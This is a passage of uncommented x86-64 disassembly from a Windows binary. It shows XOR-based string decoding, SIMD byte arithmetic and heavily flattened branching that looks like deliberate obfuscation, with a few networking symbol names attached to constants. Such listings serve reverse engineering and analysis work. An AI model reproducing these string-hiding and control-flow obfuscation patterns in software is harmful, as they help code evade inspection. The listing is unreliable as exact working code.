lea rdx, [rbp + 0x90]
lea rcx, [rbp + 0x710]
mov rbx, qword [rax]
call fcn.14013a6f0
lea r9, [0x140187bb0]
mov r8, rbx
lea rcx, [rbp + 0x98]
mov rdx, qword [rax]
call fcn.1401bf6b0
mov r9, rdi
lea rdx, [rbp + 0xa0]
lea rcx, [rbp + 0x710]
mov r8, qword [rax]
call fcn.1401bf0c0
lea rdx, [rbp + 0xa8]
lea rcx, [rbp + 0x710]
call fcn.14013a6d0
lea rdx, [rbp + 0xb0]
lea rcx, [rbp + 0x710]
mov rdi, qword [rax]
call fcn.14013a6d0
lea rdx, [rbp + 0xb8]
mov rbx, qword [rax]
lea rcx, [rbp + 0x710]
call fcn.14013a6f0
lea r9, [0x140187b90]
mov r8, rbx
lea rcx, [rbp + 0xc0]
mov rdx, qword [rax]
call fcn.1401bf6b0
mov r9, rdi
lea rdx, [rbp + 0xc8]
lea rcx, [rbp + 0x710]
mov r8, qword [rax]
call fcn.1401bf0c0
lea rdx, [rbp + 0xd0]
lea rcx, [rbp + 0x730]
call fcn.14013a6d0
lea rdx, [rbp + 0xd8]
lea rcx, [rbp + 0x730]
mov rdi, qword [rax]
call fcn.14013a6d0
lea rdx, [rbp + 0xe0]
lea rcx, [rbp + 0x730]
mov rbx, qword [rax]
call fcn.14013a6f0
lea r9, [0x140187bb0]
mov r8, rbx
lea rcx, [rbp + 0xe8]
mov rdx, qword [rax]
call fcn.1401bf6b0
mov r9, rdi
lea rdx, [rbp + 0xf0]
lea rcx, [rbp + 0x730]
mov r8, qword [rax]
call fcn.1401bf0c0
lea rdx, [rbp + 0xf8]
lea rcx, [rbp + 0x730]
call fcn.14013a6d0
lea rdx, [rbp + 0x100]
lea rcx, [rbp + 0x730]
mov rdi, qword [rax]
call fcn.14013a6d0
lea rdx, [rbp + 0x108]
lea rcx, [rbp + 0x730]
mov rbx, qword [rax]
call fcn.14013a6f0
lea r9, [0x140187b90]
mov r8, rbx
lea rcx, [rbp + 0x110]
mov rdx, qword [rax]
call fcn.1401bf6b0
mov r9, rdi
lea rdx, [rbp + 0x118]
lea rcx, [rbp + 0x730]
mov r8, qword [rax]
call fcn.1401bf0c0
xorps xmm0, xmm0
lea rcx, [rbp + 0x2e0]
movups xmmword [rbp + 0x2e0], xmm0
call fcn.1401bef00
mov ebx, dword [rbp + 0x700]
lea rcx, [rbp + 0x6f0]
xorps xmm0, xmm0
movups xmmword [rbp + 0x2f0], xmm0
call fcn.140135430
mov rdi, qword [rsp + 0x38]
lea r12, [0x140492100]
test rax, rax
mov dword [rbp + 0x308], ebx
mov rcx, r12
lea rdx, [rbp + 0x300]
cmovne rcx, rax
mov r8, rdi
mov qword [rbp + 0x300], rcx
lea rcx, [rbp + 0x2f0]
call fcn.1401bf250
movzx ecx, byte [rbp + 0xc8c]
mov rbx, rax
test cl, cl
je 0x14018e391
xor byte [rbp + 0xc88], 0x32
xor byte [rbp + 0xc89], 0x33
xor byte [rbp + 0xc8a], 0x34
xor byte [rbp + 0xc8b], 0x35
xor cl, 0x36
mov byte [rbp + 0xc8c], cl
mov r8, rdi
lea rdx, [rbp + 0xc88]
lea rcx, [rbp + 0x310]
call fcn.1401bef50
mov r9, rdi
lea rcx, [rbp + 0x2e0]
mov r8, rbx
mov rdx, rax
call fcn.1401bf560
lea rcx, [rbp + 0x310]
call fcn.14015a7f0
lea rcx, [rbp + 0x2f0]
call fcn.14015a7f0
mov ebx, dword [rbp + 0x720]
lea rcx, [rbp + 0x710]
xorps xmm0, xmm0
movups xmmword [rbp + 0x320], xmm0
call fcn.140135430
test rax, rax
mov dword [rbp + 0x338], ebx
mov rcx, r12
lea rdx, [rbp + 0x330]
cmovne rcx, rax
mov r8, rdi
mov qword [rbp + 0x330], rcx
lea rcx, [rbp + 0x320]
call fcn.1401bf250
cmp byte [rbp + 0x1ac], 0
mov rbx, rax
je 0x14018e594
xor r8d, r8d
cmp dword [0x1404bc010], 2
jl 0x14018e54d
movdqa xmm2, xmmword [0x140495430]
mov r8d, 8
movdqa xmm3, xmmword [0x140495440]
movdqa xmm1, xmm2
movdqa xmm4, xmmword [0x140495640]
movdqa xmm0, xmm2
mov eax, dword [0x140495530]
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140495460]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1404954d0]
movd xmm1, dword [rbp + 0x1a0]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movdqa xmm0, xmm3
xorps xmm2, xmm1
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd dword [rbp + 0x1a0], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140495460]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1404954d0]
movd xmm1, dword [rbp + 0x1a4]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rbp + 0x1a4], xmm2
movsxd rax, r8d
lea r9, [rbp + 0x1a0]
add r9, rax
nop word [rax + rax]
mov eax, 0x8fb823ef
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x32
xor byte [r9 - 1], al
cmp r8d, 0xd
jl 0x14018e560
mov r8, rdi
lea rdx, [rbp + 0x1a0]
lea rcx, [rbp + 0x340]
call fcn.1401bef50
mov r9, rdi
lea rcx, [rbp + 0x2e0]
mov r8, rbx
mov rdx, rax
call fcn.1401bf560
lea rcx, [rbp + 0x340]
call fcn.14015a7f0
lea rcx, [rbp + 0x320]
call fcn.14015a7f0
mov ebx, dword [rbp + 0x740]
lea rcx, [rbp + 0x730]
xorps xmm0, xmm0
movups xmmword [rbp + 0x350], xmm0
call fcn.140135430
test rax, rax
mov dword [rbp + 0x368], ebx
mov rcx, r12
lea rdx, [rbp + 0x360]
cmovne rcx, rax
mov r8, rdi
mov qword [rbp + 0x360], rcx
lea rcx, [rbp + 0x350]
call fcn.1401bf250
movzx ecx, byte [rsp + 0x36]
mov rbx, rax
test cl, cl
je 0x14018e651
xor byte [rsp + 0x30], 0x32
xor byte [rsp + 0x31], 0x33
xor byte [rsp + 0x32], 0x34
xor byte [rsp + 0x33], 0x35
xor byte [rsp + 0x34], 0x36
xor byte [rsp + 0x35], 0x37
xor cl, 0x38
mov byte [rsp + 0x36], cl
mov r8, rdi
lea rdx, [rsp + 0x30]
lea rcx, [rbp + 0x370]
call fcn.1401bef50
mov r9, rdi
lea rcx, [rbp + 0x2e0]
mov r8, rbx
mov rdx, rax
call fcn.1401bf560
lea rcx, [rbp + 0x370]
call fcn.14015a7f0
lea rcx, [rbp + 0x350]
call fcn.14015a7f0
mov r8, rdi
lea rdx, [rbp + 0x2e0]
lea rcx, [rbp + 0x2a0]
call fcn.1401bed30
lea rcx, [rbp + 0x2e0]
call fcn.14015a7f0
lea rcx, [rbp + 0x730]
call fcn.1401358f0
lea rcx, [rbp + 0x710]
call fcn.1401358f0
lea rcx, [rbp + 0x6f0]
call fcn.1401358f0
mov rax, qword [rbp + 0x8e0]
inc r13d
sub rax, qword [rbp + 0x8d8]
sar rax, 3
movsxd r12, r13d
cmp r12, rax
jb 0x14018bb50
mov r15, rdi
movzx eax, byte [rsp + 0x2d]
test al, al
je 0x14018e724
xor byte [rsp + 0x28], 0x32
xor byte [rsp + 0x29], 0x33
xor byte [rsp + 0x2a], 0x34
xor byte [rsp + 0x2b], 0x35
xor byte [rsp + 0x2c], 0x36
xor al, 0x37
mov byte [rsp + 0x2d], al
mov r8, r15
lea rdx, [rsp + 0x28]
lea rcx, [rbp + 0x380]
call fcn.1401bef50
mov r9, r15
lea r8, [rbp + 0x2a0]
mov rdx, rax
lea rcx, [rbp + 0x9c0]
call fcn.1401bf560
lea rcx, [rbp + 0x380]
call fcn.14015a7f0
lea rcx, [rbp + 0x2a0]
call fcn.14015a7f0
mov r13, 0xffffffffffffffff
lea rcx, [rbp + 0x8d0]
call fcn.140152450
lea rcx, [rbp + 0x8d0]
call fcn.140152450
lea rcx, [rbp + 0x6d0]
call fcn.1401358f0
movzx eax, word [0x140493df0]
movabs r12, 0xa44868899a6b852c
movsd xmm0, qword [str.UCAjXBU__I_]
movzx ebx, byte [rbp + 0xc88]
mov word [rbp + 0x188], ax
movzx eax, byte [0x140493df2]
mov byte [rbp + 0x18a], al
mov eax, dword [0x140493dd8]
mov dword [rbp + 0x1b8], eax
movzx eax, word [0x140493ddc]
mov word [rbp + 0x1bc], ax
movzx eax, byte [0x140493dde]
mov byte [rbp + 0x1be], al
mov eax, dword [str.UCAF6]
mov dword [rbp + 0xc98], eax
movzx eax, byte [0x140493fb0]
movsd qword [rbp + 0x180], xmm0
movsd xmm0, qword [str.DZPPYgJVYONQM_]
mov byte [rbp + 0xc9c], al
xor eax, eax
movsd qword [rbp + 0x1b0], xmm0
xorps xmm0, xmm0
mov qword [rbp + 0x974], rax
mov dword [rbp + 0x940], 0x464e444b
mov dword [rbp + 0x944], 0x8db65977
mov dword [rbp + 0x948], 0x44404fb0
mov dword [rbp + 0x94c], 0x5661ad59
mov dword [rbp + 0x950], 0x6c989a5e
mov dword [rbp + 0x954], 0x5a5a5c6a
mov dword [rbp + 0x958], 0x55558257
mov dword [rbp + 0x95c], 0xaba9afb0
mov dword [rbp + 0x960], 0x3ba8a4ac
movups xmmword [rbp + 0x964], xmm0
nop dword [rax]
mov r8, qword [0x14051e4d0]
mov r9, qword [0x14051e4d8]
nop
xor r11d, r11d
movabs rsi, 0x11ce0390015dddf4
movabs rdi, 0x7f539e96685036bc
movabs rcx, 0x36c2cd8333792c64
cmp r11, 0x3c
jae 0x14018f1b3
movzx r10d, byte [rbp + r11 + 0x940]
mov edx, r10d
cmp r8, r11
ja 0x14018f1aa
lea rax, [r9 + 1]
cmp r8, rax
jae 0x14018e900
add rcx, r11
movzx eax, dl
and al, cl
mov ebx, 0x22
sub bl, al
add bl, bl
add bl, dl
add bl, cl
jmp 0x14018e946
je 0x14018f13b
inc rax
cmp r8, rax
je 0x14018f0e7
lea rax, [r9 + 2]
cmp r8, rax
je 0x14018f0a6
lea rax, [r9 + 5]
cmp r8, rax
je 0x14018f07a
lea rax, [r9 + 3]
cmp r8, rax
je 0x14018f05a
lea rax, [r9 + 4]
cmp r8, rax
je 0x14018f037
cmp r9, r11
ja 0x14018f1a1
lea rax, [r9 + 0x28]
cmp r8, rax
jae 0x14018e96f
lea ecx, [r11 + 0x34]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea ebx, [r10 + rcx]
sub bl, 0x6c
jmp 0x14018e9af
lea rax, [r9 + 1]
cmp r8, rax
je 0x14018efea
inc rax
cmp r8, rax
je 0x14018efc7
lea rax, [r9 + 6]
cmp r8, rax
je 0x14018ef9e
lea rax, [r9 + 4]
cmp r8, rax
je 0x14018ef80
lea rax, [r9 + 3]
cmp r8, rax
je 0x14018ef66
nop
lea rax, [r8 + r9]
cmp rax, r11
jbe 0x14018ec71
nop dword [rax]
lea rax, [r9 + 9]
cmp r8, rax
je 0x14018ec5f
lea rax, [r9 + 0x200]
cmp r8, rax
je 0x14018ec3b
lea rax, [r9 + 1]
cmp r8, rax
je 0x14018ec0b
lea rax, [r9 + 0x10]
cmp r8, rax
je 0x14018ebf1
lea rax, [r9 + 0x400]
cmp r8, rax
je 0x14018e9c0
mov r8, rax
lea r9, [rax + 0x400]
lea rax, [r9 + 0x400]
cmp r8, rax
jb 0x14018f185
lea rax, [r9 + 3]
cmp r8, rax
jb 0x14018f165
lea rax, [r9 + 0x28]
cmp r8, rax
jb 0x14018ea9c
lea rax, [r9 + 0x61]
cmp r8, rax
jb 0x14018eb86
lea rax, [r9 + 5]
cmp r8, rax
jb 0x14018eb5d
mov r8, rax
lea r9, [rax + 0x42]
lea rax, [r9 + 0x42]
cmp r8, rax
ja 0x14018eb2d
lea rax, [r9 + 0x41]
cmp r8, rax
ja 0x14018eb0f
lea rax, [r9 + 8]
cmp r8, rax
ja 0x14018eae0
lea rax, [r9 + 0x80]
cmp r8, rax
ja 0x14018eaba
lea rax, [r9 + 0x2a]
cmp r8, rax
ja 0x14018e9c0
mov r8, rax
lea r9, [rax + 0x2a]
jmp 0x14018e9c0
lea edx, [r11 - 0x7c]
mov ecx, gethostbyaddr
movzx eax, dl
and al, r10b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r10b
jmp 0x14018e946
lea ecx, [r11 - 0x28]
mov ebx, reloc.WS2_32.dll_inet_ntoa
movzx eax, cl
inc r9
and al, r10b
dec r11
sub bl, al
add bl, bl
add bl, cl
add bl, r10b
inc r11
jmp 0x14018e8a3
lea ecx, [r11 + 0x80]
add r8, r9
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea ebx, [r10 + rcx]
mov rcx, r13
add bl, 0x80
movzx eax, bl
sub rcx, rax
add r11, rcx
inc r11
jmp 0x14018e8a3
lea edx, [r11 - 0x10]
mov ecx, reloc.WS2_32.dll_getservbyport
movzx eax, dl
and al, r10b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r10b
jmp 0x14018f0b9
lea edx, [r11 + 0x60]
mov ecx, gethostbyaddr
movzx eax, dl
and al, r10b
sub cl, al
movzx eax, byte [rbp + r11 + 0x940]
add rax, r9
add r11, rax
lea ebx, [rcx + rcx]
add bl, dl
add bl, r10b
inc r11
jmp 0x14018e8a3
lea edx, [r11 + 0x6c]
mov ecx, 6
movzx eax, dl
and al, r10b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r10b
mov byte [rbp + r11 + 0x940], bl
inc r11
jmp 0x14018e8a3
lea ecx, [r11 - 0x24]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea ebx, [r10 + rcx]
sub bl, 4
cmp r8, 4
jae 0x14018eef1
lea rax, [r9 + 4]
cmp r8, rax
jbe 0x14018ee30
lea ecx, [r11 + 8]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea ebx, [r10 + rcx]
sub bl, 0x38
cmp r9, 0x64
jb 0x14018eb76
mov edx, reloc.WS2_32.dll_inet_ntoa
movzx r14d, r11b
lea ecx, [r14 - 0x28]
movzx eax, cl
and al, r10b
sub dl, al
add dl, dl
add dl, cl
add dl, r10b
lea ebx, [rdx + rdx]
jmp 0x14018f007
lea ecx, [r11 + 0x70]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea ebx, [r10 + rcx]
sub bl, 0x10
jmp 0x14018f0fc
lea edx, [r11 + 0x18]
mov ecx, 0x2c
movzx eax, dl
add r8, r9
and al, r10b
sub cl, al
lea ebx, [rcx + rcx]
mov rcx, r13
add bl, dl
add bl, r10b
movzx eax, bl
sub rcx, rax
add r11, rcx
inc r11
jmp 0x14018e8a3
lea edx, [r11 - 0x78]
mov ecx, 0x24
movzx eax, dl
dec r11
and al, r10b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r10b
inc r11
jmp 0x14018e8a3
lea edx, [r11 - 8]
mov ecx, 0x1c
movzx r14d, r11b
jmp 0x14018eff7
lea rax, [r9 + 0x41]
cmp r8, rax
jae 0x14018eccc
lea edx, [r11 + 0x64]
mov ecx, 0x22
movzx eax, dl
and al, r10b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r10b
lea rax, [r8 + r9]
cmp rax, 0xa
je 0x14018ef4b
lea rax, [r9 + 0xa]
cmp r8, rax
jbe 0x14018ed84
lea edx, [r11 - 0x2c]
mov ecx, 0x1a
movzx eax, dl
and al, r10b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r10b
jmp 0x14018eb9b
lea rax, [r9 + 1]
cmp r8, rax
jne 0x14018ed05
lea edx, [r11 + 0x68]
mov ecx, reloc.WS2_32.dll_sendto
movzx eax, dl
and al, r10b
sub cl, al
movzx eax, byte [rbp + r11 + 0x940]
add rax, r9
add r11, rax
lea ebx, [rcx + rcx]
add bl, dl
add bl, r10b
inc r11
jmp 0x14018e8a3
lea rax, [r9 + 3]
cmp r8, rax
jne 0x14018ed2c
lea edx, [r11 - 8]
mov ecx, 0x1c
movzx eax, dl
and al, r10b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r10b
jmp 0x14018f0b9
lea rax, [r9 + 4]
cmp r8, rax
jne 0x14018ed65
lea edx, [r11 - 0x78]
mov ecx, 0x24
movzx eax, dl
add r8, r9
and al, r10b
sub cl, al
lea ebx, [rcx + rcx]
mov rcx, r13
add bl, dl
add bl, r10b
movzx eax, bl
sub rcx, rax
add r11, rcx
inc r11
jmp 0x14018e8a3
lea rax, [r9 + 2]
cmp r8, rax
jne 0x14018ec93
movzx r14d, r11b
mov ecx, reloc.WS2_32.dll_gethostbyname
lea edx, [r14 - 0x58]
jmp 0x14018eff7
lea rax, [r9 + 1]
cmp r8, rax
jne 0x14018edab
movzx r14d, r11b
lea ecx, [r14 - 0x64]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea ebx, [r10 + rcx]
sub bl, 0x44
jmp 0x14018f007
lea rax, [r9 + 3]
cmp r8, rax
jne 0x14018edd4
lea ecx, [r11 + 0x2c]
dec r11
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea ebx, [r10 + rcx]
sub bl, 0x34
inc r11
jmp 0x14018e8a3
lea rax, [r9 + 5]
cmp r8, rax
jne 0x14018edf7
lea ecx, [r11 + 0x4c]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea ebx, [r10 + rcx]
sub bl, 0x14
jmp 0x14018f0b9
lea rax, [r9 + 2]
cmp r8, rax
jne 0x14018eb9b
lea ecx, [r11 - 0x24]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
movzx eax, byte [rbp + r11 + 0x940]
add rax, r9
add r11, rax
lea ebx, [r10 + rcx]
sub bl, 4
inc r11
jmp 0x14018e8a3
lea rax, [r9 + 1]
cmp r8, rax
jne 0x14018ee69
lea edx, [r11 - 0x30]
mov ecx, 0x28
movzx eax, dl
and al, r10b
sub cl, al
movzx eax, byte [rbp + r11 + 0x940]
add rax, r9
add r11, rax
lea ebx, [rcx + rcx]
add bl, dl
add bl, r10b
inc r11
jmp 0x14018e8a3
inc rax
cmp r8, rax
jne 0x14018ee8f
lea edx, [r11 + 0x60]
mov ecx, gethostbyaddr
movzx eax, dl
and al, r10b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r10b
jmp 0x14018f0b9
lea rax, [r9 + 3]
cmp r8, rax
jne 0x14018eec1
lea ecx, [r11 + 0x28]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea ebx, [r10 + rcx]
mov rcx, r13
sub bl, 0x18
movzx eax, bl
sub rcx, rax
add r11, rcx
inc r11
jmp 0x14018e8a3
lea rax, [r9 + 7]
cmp r8, rax
jne 0x14018ebc7
lea ecx, [r11 + 0x80]
dec r11
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea ebx, [r10 + rcx]
add bl, 0x80
inc r11
jmp 0x14018e8a3
movzx edx, byte [rbp + r11 + 0x940]
lea ecx, [r11 - 0x60]
movzx eax, cl
sub cl, 0x60
and al, r10b
add al, al
sub dl, al
add dl, r10b
add dl, cl
movzx eax, r10b
lea ecx, [r11 + 4]
and al, cl
add r8, r9
add al, al
movzx ebx, dl
sub r10b, al
movzx eax, dl
sub r10b, 0x1c
add r10b, dl
add r10b, cl
mov rcx, r13
sub rcx, rax
mov byte [rbp + r11 + 0x940], r10b
add r11, rcx
inc r11
jmp 0x14018e8a3
lea edx, [r11 + 0x68]
mov ecx, reloc.WS2_32.dll_sendto
movzx eax, dl
and al, r10b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
jmp 0x14018f0b9
lea ecx, [r11 + 0x74]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea ebx, [r10 + rcx]
sub bl, 0x2c
jmp 0x14018f0fc
lea edx, [r11 - 0x54]
mov ecx, 0x26
movzx eax, dl
and al, r10b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r10b
jmp 0x14018f0b9
lea ecx, [r11 - 0x1c]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea ebx, [r10 + rcx]
mov rcx, r13
sub bl, 0x3c
movzx eax, bl
sub rcx, rax
add r11, rcx
inc r11
jmp 0x14018e8a3
lea ecx, [r11 - 0x3c]
inc r9
movzx eax, cl
dec r11
and al, r10b
add al, al
sub cl, al
lea ebx, [r10 + rcx]
sub bl, 0x5c
inc r11
jmp 0x14018e8a3
movzx r14d, r11b
mov ecx, ntohs
lea edx, [r14 - 4]
movzx eax, dl
and al, r10b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r10b
add r14b, 0x3c
mov ecx, 0x2e
movzx eax, r14b
inc r9
and al, r10b
sub cl, al
add cl, cl
add cl, r14b
add cl, r10b
mov byte [rbp + r11 + 0x940], cl
dec r11
inc r11
jmp 0x14018e8a3
lea ecx, [r11 - 0x5c]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea ebx, [r10 + rcx]
sub bl, 0x7c
inc r9
dec r11
inc r11
jmp 0x14018e8a3
lea ecx, [r11 - 0x24]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea ebx, [r10 + rcx]
sub bl, 4
dec r11
inc r11
jmp 0x14018e8a3
lea ecx, [r11 + 0x4c]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea ebx, [r10 + rcx]
sub bl, 0x14
add r8, r9
movzx eax, bl
mov rcx, r13
sub rcx, rax
add r11, rcx
inc r11
jmp 0x14018e8a3
lea rcx, [r11 + rdi]
movzx ebx, r10b
and dl, cl
add dl, dl
sub bl, dl
sub bl, 0x24
add bl, cl
lea edx, [r11 - 0x34]
inc r9
movzx eax, dl
mov ecx, getservbyname
and al, r10b
sub cl, al
add cl, cl
add cl, dl
add cl, r10b
movzx eax, cl
mov byte [rbp + r11 + 0x940], al
add rax, r9
sub r11, rax
jmp 0x14018f0fc
lea rcx, [r11 + rsi]
mov eax, 0x2a
and dl, cl
sub al, dl
lea ebx, [rax + rax]
add bl, r10b
add bl, cl
lea ecx, [r11 + 0x30]
inc r8
movzx eax, cl
and al, r10b
add al, al
sub cl, al
mov rax, r13
sub rax, r8
sub cl, 0x50
add cl, r10b
mov byte [rbp + r11 + 0x940], cl
add r11, rax
movzx eax, byte [rbp + r11 + 0x940]
add rax, r9
add r11, rax
inc r11
jmp 0x14018e8a3
lea rcx, [r11 + r12]
movzx eax, dl
and al, cl
add al, al
sub dl, al
lea ebx, [rcx + rdx]
sub bl, 0x34
movzx eax, byte [rbp + r11 + 0x940]
add rax, r9
add r11, rax
inc r11
jmp 0x14018e8a3
sub r11b, 0xc
mov ecx, 0x2a
movzx eax, r11b
and al, r10b
sub cl, al
lea ebx, [rcx + rcx]
add bl, r11b
add bl, r10b
jmp 0x14018e89e
add r11b, 0x2c
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
lea ebx, [r10 + r11]
sub bl, 0x34
jmp 0x14018e88d
lea rbx, [rbp + 0x169dc70]
jmp 0x14018f1ba
lea rbx, [rbp + 0x16308d4]
jmp 0x14018f1ba
lea rbx, [rbp + 0x940]
lea rcx, [rbp + 0x7b0]
call fcn.140135f90
mov r8, r13
nop dword [rax]
inc r8
cmp byte [rbx + r8], 0
jne 0x14018f1d0
mov rdx, rbx
lea rcx, [rbp + 0x7b0]
call fcn.14013c7a0
lea rdx, [rbp + 0x7b0]
lea rcx, [rbp + 0x908]
call fcn.1401520a0
cmp byte [rbp + 0x908], 0
je 0x1401901bc
xorps xmm0, xmm0
lea rcx, [rbp + 0x390]
movups xmmword [rbp + 0x390], xmm0
call fcn.1401bede0
mov rbx, qword [rbp + 0x918]
lea rcx, [rbp + 0x3a0]
sub rbx, qword [rbp + 0x910]
xorps xmm0, xmm0
sar rbx, 3
movups xmmword [rbp + 0x3a0], xmm0
call fcn.14015a7f0
mov edx, ebx
lea rcx, [rbp + 0x3a0]
call fcn.1401bf370
movzx eax, byte [rbp + 0x18a]
test al, al
je 0x14018f2ae
xor byte [rbp + 0x180], 0x32
xor byte [rbp + 0x181], 0x33
xor byte [rbp + 0x182], 0x34
xor byte [rbp + 0x183], 0x35
xor byte [rbp + 0x184], 0x36
xor byte [rbp + 0x185], 0x37
xor byte [rbp + 0x186], 0x38
xor byte [rbp + 0x187], 0x39
xor byte [rbp + 0x188], 0x3a
xor byte [rbp + 0x189], 0x3b
xor al, 0x3c
mov byte [rbp + 0x18a], al
mov r8, r15
lea rdx, [rbp + 0x180]
lea rcx, [rbp + 0x3b0]
call fcn.1401bef50
mov r9, r15
lea r8, [rbp + 0x3a0]
mov rdx, rax
lea rcx, [rbp + 0x9c0]
call fcn.1401bf560
lea rcx, [rbp + 0x3b0]
call fcn.14015a7f0
lea rcx, [rbp + 0x3a0]
call fcn.14015a7f0
mov rax, qword [rbp + 0x918]
xor r14d, r14d
sub rax, qword [rbp + 0x910]
sar rax, 3
test rax, rax
je 0x140190146
movzx esi, byte [rbp + 0xc88]
xor ebx, ebx
movabs r12, 0xf874a16d8c29fce5
nop word [rax + rax]
lea rcx, [rbp + 0x7d0]
call fcn.140135f90
lea rcx, [rbp + 0x7d0]
call fcn.140135980
mov rax, qword [rbp + 0x910]
mov dword [rbp + 0x491], 0x40404a7c
mov dword [rbp + 0x495], 0x5e5e795b
mov dword [rbp + 0x499], 0x4659464b
lea rdi, [rax + rbx*8]
mov word [rbp + 0x49d], 0x4743
xor eax, eax
mov byte [rbp + 0x49f], 0xb0
mov qword [rbp + 0x4a0], rax
mov dword [rbp + 0x4a8], eax
mov byte [rbp + 0x4ac], al
nop word [rax + rax]
mov r9, qword [0x14051e4d0]
mov r10, qword [0x14051e4d8]
nop
xor r11d, r11d
cmp r11, 0x1c
jae 0x14018fd9f
movzx r8d, byte [rbp + r11 + 0x491]
mov rbx, r8
nop dword [rax]
cmp r9, r11
ja 0x14018fd96
lea rax, [r10 + 1]
cmp r9, rax
jae 0x14018f3fa
lea rsi, [r11 + r12]
movzx eax, sil
and al, bl
add al, al
sub sil, al
sub sil, 0x43
add sil, bl
jmp 0x14018f420
je 0x14018fd1f
lea rax, [r10 + 3]
cmp r9, rax
je 0x14018fc94
lea rax, [r10 + 5]
cmp r9, rax
je 0x14018fc4e
nop word [rax + rax]
cmp r10, r11
ja 0x14018fd8d
lea rax, [r10 + 0x200]
cmp r9, rax
jae 0x14018f44d
lea ecx, [r11 - 0x37]
movzx eax, cl
and al, r8b
add al, al
sub cl, al
lea esi, [r8 + rcx]
sub sil, 0x7f
jmp 0x14018f490
lea rax, [r10 + 1]
cmp r9, rax
je 0x14018fc32
lea rax, [r10 + 3]
cmp r9, rax
je 0x14018fc10
lea rax, [r10 + 7]
cmp r9, rax
je 0x14018fbf4
lea rax, [r10 + 2]
cmp r9, rax
je 0x14018fbd5
lea rax, [r10 + 4]
cmp r9, rax
je 0x14018fba7
nop
lea rax, [r9 + r10]
cmp rax, r11
jbe 0x14018f843
nop dword [rax]
lea rax, [r10 + 0x2a]
cmp r9, rax
je 0x14018f823
lea rax, [r10 + 5]
cmp r9, rax
je 0x14018f7fe
lea rax, [r10 + 0x10]
cmp r9, rax
je 0x14018f7d9
lea rax, [r10 + 0x64]
cmp r9, rax
je 0x14018f7b6
lea rax, [r10 + 0x1000]
cmp r9, rax
je 0x14018f797
lea r9, [r10 + 0x10]
lea r10, [r9 + 0x2a]
lea rax, [r10 + 0x64]
cmp r9, rax
jb 0x14018fd70
lea rax, [r10 + 0x1000]
cmp r9, rax
jb 0x14018fd53
lea rax, [r10 + 0x2a]
cmp r9, rax
jb 0x14018f5e0
lea rax, [r10 + 0x61]
cmp r9, rax
jb 0x14018f5c5
lea rax, [r10 + 1]
cmp r9, rax
jb 0x14018f5aa
lea rax, [r10 + 6]
cmp r9, rax
jb 0x14018f744
lea rax, [r10 + 0x20]
cmp r9, rax
jb 0x14018f6fa
lea rax, [r10 + 0x80]
cmp r9, rax
jb 0x14018f6b2
mov r9, rax
lea r10, [rax + 6]
lea rax, [r10 + 0x61]
cmp r9, rax
ja 0x14018f681
lea rax, [r10 + 1]
cmp r9, rax
ja 0x14018f662
lea rax, [r10 + 6]
cmp r9, rax
ja 0x14018f646
lea rax, [r10 + 0x20]
cmp r9, rax
ja 0x14018f61a
lea rax, [r10 + 0x80]
cmp r9, rax
ja 0x14018f5fb
lea r9, [r10 + 0x7a]
lea r10, [r9 + 0x28]
jmp 0x14018f4a0
lea ecx, [r11 + 0x57]
movzx eax, cl
and al, r8b
add al, al
sub cl, al
lea esi, [r8 + rcx]
sub sil, 0x61
jmp 0x14018f490
lea ecx, [r11 - 0x73]
movzx eax, cl
and al, r8b
add al, al
sub cl, al
lea esi, [r8 + rcx]
add sil, 0x25
jmp 0x14018f420
lea ecx, [r11 - 0x3d]
movzx eax, cl
and al, r8b
add al, al
sub cl, al
